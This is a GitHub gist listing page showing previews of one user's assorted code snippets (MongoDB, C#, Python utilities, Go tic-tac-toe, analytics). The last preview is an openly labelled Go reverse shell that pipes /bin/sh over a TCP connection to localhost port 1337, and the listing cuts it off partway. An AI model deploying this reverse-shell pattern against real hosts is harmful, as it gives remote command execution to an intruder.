Skip to content

Instantly share code, notes, and snippets.

@jasonrdsouza
jasonrdsouza / gist:1056481
Created June 30, 2011 15:32
MongoDB printShardingStatus javascript function
function printShardingInfo(configDB, verbose) {
if (configDB === undefined) {
configDB = db.getSisterDB("config");
}
var version = configDB.getCollection("version").findOne();
if (version == null) {
print("not a shard db!");
return;
}
var raw = "";
@jasonrdsouza
jasonrdsouza / MongoLogger
Created July 28, 2011 18:33
Simple C# class to connect to and write messages to MongoDB
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using MongoDB.Bson;
using MongoDB.Bson.IO;
using MongoDB.Driver;
using MongoDB.Driver.Builders;
namespace Tester
@jasonrdsouza
jasonrdsouza / tokenizer.py
Created September 24, 2011 02:18
Function to tokenize string input
#!/usr/bin/python
class tokenizerState:
START = 0 #start and outside of token state
BRACE = 1 #inside brace token state
BRACE_END = 2
QUOTE = 3 #inside of quote token state
QUOTE_END = 4
CHAR = 5 #inside of char token state
@jasonrdsouza
jasonrdsouza / gedit_doc_helper.py
Created December 14, 2011 23:00
Python helper functions to interface with Gedit and the embedded python console
r"""Simple module for quick document manipulation from the gedit Python console
Example:
import doc
d = doc.Doc(window)
d.set_lines( ['one', 'two', 'three'] )
d.append('\n')
d.append('four')
lines = d.get_lines()
lines.reverse()
@jasonrdsouza
jasonrdsouza / gmail.py
Created January 25, 2012 04:52
Python script to access a gmail account and download particular emails
import email, getpass, imaplib, os
detach_dir = '.' # directory where to save attachments (default: current)
user = raw_input("Enter your GMail username:")
pwd = getpass.getpass("Enter your password: ")
# connecting to the gmail imap server
m = imaplib.IMAP4_SSL("imap.gmail.com")
m.login(user,pwd)
m.select("cs2043") # here you a can choose a mail box like INBOX instead
@jasonrdsouza
jasonrdsouza / key_detect.py
Created February 24, 2012 15:54
Python function to get keypresses from the terminal
def getchar():
#Returns a single character from standard input
import tty, termios, sys
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
@jasonrdsouza
jasonrdsouza / webscrape.py
Created May 7, 2012 23:52
Example web scraping in python
'''
webscrape.py - Python module to allow scraping data off of a website.
About: put the about here!
@author: Jason Dsouza
'''
__author__ = ('jasonrdsouza (Jason Dsouza)')
@jasonrdsouza
jasonrdsouza / tictactoe.go
Created May 8, 2014 01:32
NxN TicTacToe win tracker
/*
NxN Tic Tac Toe win tracker
Assumptions
- User inputted moves are legal
- player X and player O don't both enter the same row/col as their move
- player X doesn't enter the same row/col twice
*/
package main
@jasonrdsouza
jasonrdsouza / ga_slinger.py
Created June 20, 2014 18:17
Snippet to send events to Google Analytics from an AppEngine instance
import urllib
from google.appengine.api import urlfetch
# Set this to the specific Google Analytics Tracking Id for your application.
GA_TRACKING_ID = "UA-XXXX-Y"
GA_CLIENT_ID = "555"
def track_event_to_ga(category, action, label=None, value=None):
""" Posts an Event Tracking message to Google Analytics. """
form_fields = {
@jasonrdsouza
jasonrdsouza / reverse-shell.go
Created August 13, 2014 02:41
Golang Reverse Shell
package main
import "os/exec"
import "net"
func main() {
c, _ := net.Dial("tcp", "127.0.0.1:1337")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c